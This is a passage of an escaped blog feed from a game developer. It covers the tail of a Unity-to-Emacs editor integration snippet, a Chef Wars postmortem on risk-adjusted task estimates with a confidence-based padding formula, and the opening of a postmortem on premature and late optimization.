&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;OnOpenedAsset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;instanceID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UnityEngine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EditorUtility&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;InstanceIDToObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instanceID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProjectPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetDirectoryName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UnityEngine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dataPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;completeFilepath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProjectPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DirectorySeparatorChar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AssetDatabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetAssetPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// We check if this is the type of file we can open&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetType&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UnityEditor.MonoScript&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetType&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UnityEngine.Shader&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-n +&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;completeFilepath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// We start a process by passing the command &amp;quot;emacsclient -n +linenumber filePath&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Diagnostics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Diagnostics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/Applications/Emacs.app/Contents/MacOS/bin/emacsclient&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Arguments&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UseShellExecute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WindowStyle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Diagnostics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProcessWindowStyle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Hidden&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreateNoWindow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RedirectStandardOutput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;bo          // Tell unity we have handled the opening of the file.
            return true;
        }&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// We were not able to open the file. Let unity handle the opening.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This file needs to be placed inside an "Editor" folder within Unity in order for it to work.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/accidentalrebel/69ac38f729e72c170a8d091b4daaec52"&gt;Go here&lt;/a&gt; if you want to see a more complete and fully featured implementaition of the code above. Also, a hat tip to &lt;a href="https://github.com/tbriley/Atom"&gt;this repository&lt;/a&gt; for the solution which was largely inspired by the &lt;a href="https://github.com/dotBunny/VSCode"&gt;VSCode project&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="emacs unity"/></entry><entry><title>Chef Wars Postmortem -- What Went Right: Risk Adjusted Technical Estimates</title><link href="https://www.accidentalrebel.com/chef-wars-postmortem--what-went-right-risk-adjusted-estimates.html" rel="alternate"/><published>2017-12-10T23:33:00+08:00</published><updated>2017-12-10T23:33:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-12-10:/chef-wars-postmortem--what-went-right-risk-adjusted-estimates.html</id><summary type="html">&lt;p&gt;A risk-adjusted estimation system that pairs time estimates with confidence levels to produce reliable schedules — used to ship Chef Wars on time.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Note: This is from a &lt;a href="http://www.accidentalrebel.com/tags/chefwars_postmortem/"&gt;series of articles&lt;/a&gt; that outlines the things I've learned while making &lt;a href="http://mindcakegames.com/"&gt;Chef Wars&lt;/a&gt; for 2+ years.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We used a risk adjusted estimation system that produces near accurate estimates we can confidently rely on.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;I usually dreaded being asked how long a programming task will take. I always seem to have the knack to overshoot no matter how hard I try. This is an all too common scenario that programmers face and is something that is considered to be a difficult, if not impossible, problem to solve.&lt;/p&gt;
&lt;p&gt;&lt;img alt="01" src="https://i.imgur.com/KqCZUHl.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This all changed when I was introduced to a helpful system that helps in producing estimates that are "accurate enough". I don't think it has a name yet but my colleagues who introduced me to it says that they got it from a &lt;a href="https://www.gamasutra.com/view/feature/181992/waterfall_game_development_done_.php"&gt;Gamasutra article&lt;/a&gt; by Eric Preisz of Garage Games. Since then I've used this system in all my game development related projects and has helped us immensely in the development of our recent game, &lt;a href="http://mindcakegames.com/"&gt;Chef Wars&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I'm sharing this in the hopes that it would help others too.&lt;/p&gt;
&lt;h2 id="risk-adjusted-estimates"&gt;Risk Adjusted Estimates&lt;/h2&gt;
&lt;p&gt;The basic idea of this system is that for each task, an estimated time would be given along with a "confidence level". The lower the confidence the more padding is added automatically to the estimate for that task.&lt;/p&gt;
&lt;p&gt;It's a very simple system and is illustrated clearly in the image below:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Estimate&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Confidence&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Risk-Adjusted&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Task A&lt;/td&gt;
&lt;td style="text-align: center;"&gt;5&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: right;"&gt;9.44&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task B&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;6&lt;/td&gt;
&lt;td style="text-align: right;"&gt;11.56&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task C&lt;/td&gt;
&lt;td style="text-align: center;"&gt;10&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: right;"&gt;12.22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task D&lt;/td&gt;
&lt;td style="text-align: center;"&gt;10&lt;/td&gt;
&lt;td style="text-align: center;"&gt;10&lt;/td&gt;
&lt;td style="text-align: right;"&gt;10.00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A legend (shown below) is used to help programmers determine what confidence level to specify based on their current situation.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Level&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td style="text-align: right;"&gt;No clue -- don't make decisions on this. We need to talk more.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td style="text-align: right;"&gt;Hardly a clue -- don't make decisions on this. We need to talk more.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td style="text-align: right;"&gt;Someone else has done this and I read about it; job not well defined -- don't make decisions on this. We need to talk more.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td style="text-align: right;"&gt;Someone else has done this and I think I understand this; job might not be well-defined -- don't make decisions on this. We need to talk more.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td style="text-align: right;"&gt;Done something similar to this before and this relates to that work -- this estimate has a variance of +/- 50 percent of estimate.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td style="text-align: right;"&gt;I think I understand this fairly well and I understand the goal.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td style="text-align: right;"&gt;The average case for programming when the requirements are understood.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td style="text-align: right;"&gt;A confident case for programming. It's rare that something unexpected would happen.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td style="text-align: right;"&gt;I've done this before and it's very similar. If something unexpected comes up, I know how to tackle it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td style="text-align: right;"&gt;No matter what, I'm only going to work on this for the specified period of time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The formula for calculating the risk-adjusted time is also very straightforward:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(estimated time * (10 - confidence level) / 9) + estimated time&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From hereon you can easily compute for the total time and make a comparison between the estimated time and the risk adjusted time.&lt;/p&gt;
&lt;p&gt;To see how all of this works you can check out our &lt;a href="https://docs.google.com/spreadsheets/d/1KNTq88bw5qO6Ejbm71z31X-jraJDjB-9WET-2BZR2-s/edit?usp=sharing"&gt;Technical Estimate Template Sheet&lt;/a&gt; at our Google Drive. Or if you are into Emacs, I also have a &lt;a href="https://gist.github.com/accidentalrebel/0df9f9e024c7e3d433ef8a4f9fada2a9"&gt;template for that as well&lt;/a&gt; using OrgMode.&lt;/p&gt;
&lt;h2 id="how-effective-is-it"&gt;How effective is it?&lt;/h2&gt;
&lt;p&gt;The following is taken from the technical estimate I made for a recent module in Chef Wars. I've logged the actual time it took me to finish the task so the results can be compared.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;Each estimate is in hours.&lt;/em&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center;"&gt;Task&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Estimate&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Confidence&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Risk Adjusted&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Actual time&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Difference&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[Backend] Create PVP Player Collections&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.4444444&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1.44&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[Backend] Set Player PVP Collections&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;9.7777778&lt;/td&gt;
&lt;td style="text-align: center;"&gt;7&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[Leaderboard] Fetch City Leaderboards&lt;/td&gt;
&lt;td style="text-align: center;"&gt;16&lt;/td&gt;
&lt;td style="text-align: center;"&gt;7&lt;/td&gt;
&lt;td style="text-align: center;"&gt;21.333333&lt;/td&gt;
&lt;td style="text-align: center;"&gt;18&lt;/td&gt;
&lt;td style="text-align: center;"&gt;3.33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[Leaderboard] Monthly Leaderboard Resetting&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;7&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.6666667&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4&lt;/td&gt;
&lt;td style="text-align: center;"&gt;-1.33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[Logic] PVP Competition Setup&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;7&lt;/td&gt;
&lt;td style="text-align: center;"&gt;10.666667&lt;/td&gt;
&lt;td style="text-align: center;"&gt;9&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1.67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[UI] Add the City Ranking button in Global/Friend Rankings&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;10&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[UI] City Master Chefs UI&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.4444444&lt;/td&gt;
&lt;td style="text-align: center;"&gt;6&lt;/td&gt;
&lt;td style="text-align: center;"&gt;-3.56&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[UI] City Arena UI&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.4444444&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4&lt;/td&gt;
&lt;td style="text-align: center;"&gt;-1.56&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;[UI] Top Chef Awarding Pop Up&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1&lt;/td&gt;
&lt;td style="text-align: center;"&gt;8&lt;/td&gt;
&lt;td style="text-align: center;"&gt;1.2222222&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2&lt;/td&gt;
&lt;td style="text-align: center;"&gt;-0.78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;Totals&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;&lt;/td&gt;
&lt;td style="text-align: center;"&gt;53.99&lt;/td&gt;
&lt;td style="text-align: center;"&gt;51&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2.99&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;As you can see that the actual times are very close to the risk adjusted times. I overshot quite a bit during the UI related tasks but the time lost was offseted by the other tasks as seen in the totals. &lt;/p&gt;
&lt;p&gt;Take note that this is just a small sample and results will vary. There are times where totals still overshoot but mostly it is just in terms of a few hours, or at worst a full day. Regardless, our overall experience has been great as it has proven to be accurate enough that we could confidently commit to certain dates and schedules.&lt;/p&gt;
&lt;h2 id="tips-on-using-this-system"&gt;Tips on using this system&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This system works great if you know the tasks beforehand. You really need to sit down and think what the steps are and try not to miss anything and to avoid adjustments.&lt;/li&gt;
&lt;li&gt;The more granular the tasks, the easier it is to assign a time and confidence level to them.&lt;/li&gt;
&lt;li&gt;Being honest with the confidence levels helps produce more accurate estimates. It also brings to light any low-confidence tasks that are in need of reconsideration.&lt;/li&gt;
&lt;li&gt;Make the scope smaller and easier to digest by dividing your project into smaller parts (It can be by milestone or by module) and then make an estimate for each.&lt;/li&gt;
&lt;li&gt;Do this long enough and you'll get better with judging estimates and confidence levels.&lt;/li&gt;
&lt;li&gt;It helps to review and compare how long a task took against your estimates. It will give you insight why you overshot (In the example above, I learned that I am still bad at properly estimating UI related tasks. I should adjust my confidence levels for next time).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This simple system has helped us a lot and we plan to use it on all our future projects. It's not 100% accurate but it is accurate enough that we can schedule confidently with it. I would be the first to admit that it may not work for everyone but if you are always overshooting your estimates then this system might be worth a try.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[Check out our game which was released relatively on time over at &lt;a href="https://play.google.com/store/apps/details?id=air.com.mindcakegames.chefwars&amp;amp;hl=en"&gt;Android&lt;/a&gt; and &lt;a href="https://itunes.apple.com/us/app/chef-wars/id1254831133?mt=8"&gt;iOS&lt;/a&gt;]&lt;/strong&gt;&lt;/p&gt;</content><category term="Misc"/><category term="chefwars"/><category term="gamedev"/><category term="mindcake"/><category term="postmortem"/></entry><entry><title>Chef Wars Postmortem -- What went wrong: Optimizing too early and too late</title><link href="https://www.accidentalrebel.com/chef-awrs-postmortem--what-went-wrong-optimizing-too-early-and-too-late.html" rel="alternate"/><published>2017-12-06T00:02:00+08:00</published><updated>2017-12-06T00:02:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-12-06:/chef-awrs-postmortem--what-went-wrong-optimizing-too-early-and-too-late.html</id><summary type="html">&lt;p&gt;Lessons from Chef Wars on premature optimization: why asking WHAT and HOW to optimize matters more than asking WHEN, after making both mistakes in production.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Note: This is from a &lt;a href="http://www.accidentalrebel.com/tags/chefwars_postmortem/"&gt;series of articles&lt;/a&gt; that outlines the things I've learned while making &lt;a href="http://mindcakegames.com/"&gt;Chef Wars&lt;/a&gt; for 2+ years.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is more to the saying that "premature optimization is the root of all evil".&lt;/li&gt;
&lt;li&gt;Instead of asking WHEN to optimize, it is more important to ask WHAT and HOW to optimize.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;It is a well known adage among programmers that premature optimization is the root of all evil. If this is true then I must have been very close to the devil himself.&lt;/p&gt;
&lt;p&gt;During the early months of development on Chef Wars I did my best to optimize my code as much as possible. We were making a big game and I wanted to have a stable foundation to build our game on. I obsessed over lots of things from the interconnection of the various systems to folder structures. I was happy with all that I've built, but sadly progress was slow.&lt;/p&gt;
&lt;p&gt;I realized at this point that I was optimizing too prematurely. If I wanted to reach my milestones on time then I needed to change my approach. This means leaving the optimizations for later. When is later though? I figured that it makes sense to do it at the end when all the systems are in place.&lt;/p&gt;
&lt;p&gt;All went smoothly until we reached Open Beta. The game was reported to be sluggish and almost unplayable which signaled the need to start optimizing. While I was able to optimize some parts, there were some that I could not optimize properly without undergoing a major change to the code. Sadly, rewrites were not an option as we were running out of time.&lt;/p&gt;
